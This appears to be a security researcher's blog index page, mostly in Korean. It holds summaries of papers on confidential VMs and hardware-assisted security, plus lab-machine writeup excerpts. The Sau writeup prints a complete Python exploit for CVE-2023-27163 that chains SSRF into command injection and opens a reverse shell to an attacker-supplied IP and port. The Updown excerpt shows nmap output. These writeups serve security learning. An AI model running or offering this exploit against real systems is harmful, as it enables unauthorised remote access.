I want to be a Hacker 👋

I’m a security researcher at KAIST CySecLab, currently exploring hardware-software codesign for security — building safer processors with Chisel.

Previously worked on Rust, Compiler Instrumentation, Memory Sanitizing & Fuzzing, and OS Security. I believe true security demands full-stack thinking: from type systems down to silicon.

cover-image

TETD: Trusted Execution in Trusted Domains

TETD: Trusted Execution in Trusted Domains Usenix Security ‘25 발표 논문 논문 링크 Motivation CVM (Confidential Virtual Machine) 기존 퍼블릭 클라우드 환경에서 테넌트들은 자신의 데이터와 워크로드를 관리하는 CSP (Cloud Service Provider) 를 전적으로 신뢰해야만 했습니다. 하지만 클라우드 인프라를 제어하는 하이퍼바이저나 호스트 OS가 공격자에 의해 손상당하거나 악의적인 접근이 발생할 경우, 사용자의 데이터와 실행 상태가 노출될 위험이 존재합니다. 이러한 근본적인 보안 문제를 해결하기 위해 등장한 기술이 CVM입니다. CVM은 잠재적으로 신뢰할 수 없는 하이퍼바이저 및 호스트 OS로부터 클라우드 서비스 기반 워크로드를 보호하도록 설계된 환경입니다. 즉 CSP 조차도 사용자의 가상 머신 내부에 접근할 수 없도록 물리적인 보안 경계를 형성하여 제공합니다. ...

May 19, 2026 · 10 min · 2040 words · Me

Hardware Assisted Security Architecture

Taxonomy on Hardware-Assisted Security Architectures 과거의 마이크로프로세서는 연산 성능의 향상에 초점이 맞춰져 있었고, 이에 따라 분기 예측 (Branch Prediction), 예측 실행 (Speculative Execution) 과 같은 성능 향상 기법이 발전했습니다. 그러나 이러한 마이크로아키텍처에는 side effect가 있었고, 이 취약점을 이용한 공격 (예: Spectre, Meltdown) 을 소프트웨어 기반의 방어 로직으로 막는 것에는 한계가 있었습니다. 따라서 현대 프로세서는 단순히 코드를 실행하는 수동적인 하드웨어를 넘어, 메모리 접근을 통제하거나 실행 흐름을 검증하고, 데이터를 암호화하는 등 능동적인 보안 주체로의 전환이 필요해졌습니다. ...

May 18, 2026 · 11 min · 2183 words · Me
cover-image

My VM is Lighter (and Safer) than your Container

My VM is Lighter (and Safer) than your Container SOSP ‘17 발표 논문 논문 링크 Motivation Core Problems 이 논문은 클라우드 컴퓨팅 및 분산 시스템의 근본적 딜레마인 가상 머신 (Virtual Machine) 의 격리 및 보안 컨테이너의 효율성 사이의 트레이드오프를 해결하고자 하는 논문입니다. 도커와 같은 컨테이너는 빠른 인스턴스화 시간, 낮은 메모리 사용량, 높은 density를 통해 마이크로서비스, 서버리스 컴퓨팅, 네트워크 가상화와 같은 use case들을 가능하게 하며 많은 인기를 얻었습니다. 그러나 컨테이너는 호스트 OS의 커널을 공유함으로써 작동하며 이로 인해 심각한 보안 취약점을 야기합니다. Linux를 예로 들면 약 400개가 넘는 시스템 콜 API가 있으며, 컨테이너는 이 시스템 콜을 기반으로 호스트 OS와 상호작용합니다. 이러한 구조로 인해 VM의 메모리 격리와 CPU ring을 통한 하드웨어적 protection과는 대조적으로 수많은 익스플로잇 및 공동 상주 컨테이너에 대한 DoS 위협에 노출됩니다. ...

May 9, 2026 · 13 min · 2738 words · Me
cover-image

Sau Writeup

Enumeration Nmap PORT STATE SERVICE │22/tcp open ssh │55555/tcp open unknown Request Basket 55555번 포트로 http 접속을 해 보니 request-basket이라는 서비스가 나왔습니다. Exploitation CVE-2023-27163 #!/usr/bin/env python3 import requests import sys import random import string import base64 import time def ensure_http_schema(url): if not url.startswith(("http://", "https://")): return "http://" + url return url def generate_basket_name(length=6): return ''.join(random.choices(string.ascii_lowercase, k=length)) def create_proxy_basket(server_url, forward_url): if not server_url.endswith("/"): server_url += "/" basket_name = generate_basket_name() api_url = f"{server_url}api/baskets/{basket_name}" payload = { "forward_url": forward_url, "proxy_response": True, "insecure_tls": False, "expand_path": True, "capacity": 250 } print(f"[+] Creating proxy basket '{basket_name}' pointing to {forward_url}") r = requests.post(api_url, json=payload) if r.status_code not in [200, 201]: print(f"[!] Failed to create basket: {r.status_code} {r.text}") sys.exit(1) token = r.json().get("token") basket_url = f"{server_url}{basket_name}" print(f"[+] Basket created: {basket_url}") print(f"[+] Authorization Token: {token}") return basket_url def send_reverse_shell(proxy_url, attacker_ip, attacker_port): print("[+] Encoding reverse shell payload...") payload = f"""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{attacker_ip}",{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'""" b64_payload = base64.b64encode(payload.encode()).decode() injected_payload = f'`echo {b64_payload} | base64 -d | bash`' print("[+] Sending command injection via proxy to /login...") response = requests.post(f"{proxy_url}/login", data={"username": f";{injected_payload}"}) if response.status_code in [200, 302]: print("[+] Exploit sent successfully! Check your listener.") else: print(f"[!] Exploit may have failed. HTTP {response.status_code}: {response.text}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <attacker_ip> <attacker_port> <request_baskets_url>") print(f"Example: {sys.argv[0]} 10.10.10.10 8000 http://10.129.229.26:55555") sys.exit(1) attacker_ip = sys.argv[1] attacker_port = int(sys.argv[2]) request_baskets_url = ensure_http_schema(sys.argv[3]) proxy_target_url = "http://127.0.0.1:80" proxy_url = create_proxy_basket(request_baskets_url, proxy_target_url) time.sleep(3) send_reverse_shell(proxy_url, attacker_ip, attacker_port) POC 출처 GitHub - bl4ckarch/ssrf_to_rce_sau: A simple python script that exploits, Service side request forgery on the request-basket 1.2.1 version then Unauith Command injection via Vulnerable parameter SSRF를 통해 80포트 내부 서비스에 페이로드를 전달합니다. 80포트 Maltrail의 RCE 취약점을 통해 리버스 쉘을 획득합니다. Privilege Escalation sudo -l Matching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service sudo -l 로 루트 권한에서 실행할 수 있는 명령어를 확인해봅니다. /usr/bin/systemctl status를 실행할 수 있었습니다. /usr/bin/systemctl --version systemd 245 (245.4-4ubuntu3.22) systemd의 버전을 확인해보니 245.4였습니다. CVE-2023-26604 💀 Exploit for systemd 246 - Local Privilege Escalation CVE-2023-26604 ...

November 2, 2025 · 2 min · 353 words · Me
cover-image

Updown Writeup

Enumeration Nmap command sudo nmap -p- target -T4 result Nmap scan report for target (10.129.227.227) Host is up (0.24s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 22, 80 번 포트가 열려있는 것을 확인할 수 있습니다. command sudo nmap -p 22,80 -sC -sV target result Host is up (0.24s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA) | 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA) |_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Is my Website up ? |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ...

October 13, 2025 · 4 min · 769 words · Me